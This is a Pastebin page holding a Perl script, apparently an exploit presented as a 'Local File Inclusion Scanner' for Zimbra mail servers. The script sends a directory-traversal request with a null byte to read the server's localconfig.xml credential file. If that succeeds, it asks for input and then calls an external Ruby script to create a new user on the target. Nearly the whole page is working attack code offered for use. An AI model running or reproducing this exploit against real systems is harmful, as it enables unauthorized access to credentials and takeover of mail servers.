Advertisement
MohamedNour

LFI-Scanner

Jul 31st, 2014
745
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 2.15 KB | None | 0 0
  1. #!/usr/bin/perl
  2.  
  3. use LWP::UserAgent;
  4. use HTTP::Request;
  5.  
  6.  
  7. sub main {
  8. print "-------------------------------------------------------------\n";
  9. print "                                                             \n";
  10. print " m      mmmmmm mmmmm  | [+] Title: Local File Inclusion Scanner \n";    
  11. print " m      m        m    | [+] Coded By: MOHAMED NOUR \n";
  12. print " m      mmmmmm   m    | [+] Forum: dev-tun.tn  \n";
  13. print " m      m        m    | [+] Blog: www.technologiemax.tk\n";
  14. print " m      m        m    | \n";
  15. print " mmmmmm m      mmmmm  | \n";
  16. print "                                                             \n";
  17.  
  18. print "-------------------------------------------------------------\n";
  19. }                          
  20.  
  21. $target = $ARGV[0];
  22. $port = $ARGV[1];
  23.  
  24. if($target eq '')
  25. {
  26. main();
  27. print "-------------------------------------------------------------\n";
  28. print "Use: perl LFI.pl <target> <port> \n";
  29. print "Example: perl LFI.pl www.example.com 8080\n";
  30. print "-------------------------------------------------------------\n";
  31. exit(1);
  32. }
  33.  
  34. if($target !~ /https:\/\// )
  35. {
  36. $target = "https://$target";
  37. }
  38. main();
  39. $can_accept = HTTP::Message::decodable;
  40. $agent = LWP::UserAgent->new(ssl_opts => { SSL_verify_mode => SSL_VERIFY_NONE, verify_hostname => 0, keep_alive => 1});
  41. $agent->agent('Mozilla/5.0 (X11; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.57 Safari/537.36');
  42. $zimbra = "$target:$port/res/I18nMsg,AjxMsg,ZMsg,ZmMsg,AjxKeys,ZmKeys,ZdMsg,Ajx%20TemplateMsg.js.zgz?v=091214175450&skin=../../../../../../../../../opt/zimbra/conf/localconfig.xml%00";
  43.  
  44. $search = 'a["<localconfig>"]=';
  45. $req = $agent->get($zimbra, 'Accept-Encoding' => $can_accept);
  46. $content = $req->decoded_content;
  47. print "Wait ...\n";
  48. sleep(10);
  49.  
  50. agree_user();
  51. check();
  52.  
  53.  
  54. sub agree_user {
  55. if($content =~ /$search/){
  56. sleep(10);
  57. print "Vulnerable !\n";
  58. $respuesta = <STDIN>;
  59. }else{
  60. print "Not Vulnerable !\n";
  61. print "\n";
  62. exit();
  63. }
  64. }
  65.  
  66. sub check{
  67. if ($respuesta == 1){
  68. print "Adding a new user...\n";
  69. system("ruby run.rb -t $ARGV[0] -u user_test -p ABCde..12345");
  70. exit(1);
  71. }else{
  72. print "GoodBye!\n";
  73. exit();
  74. }
  75. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement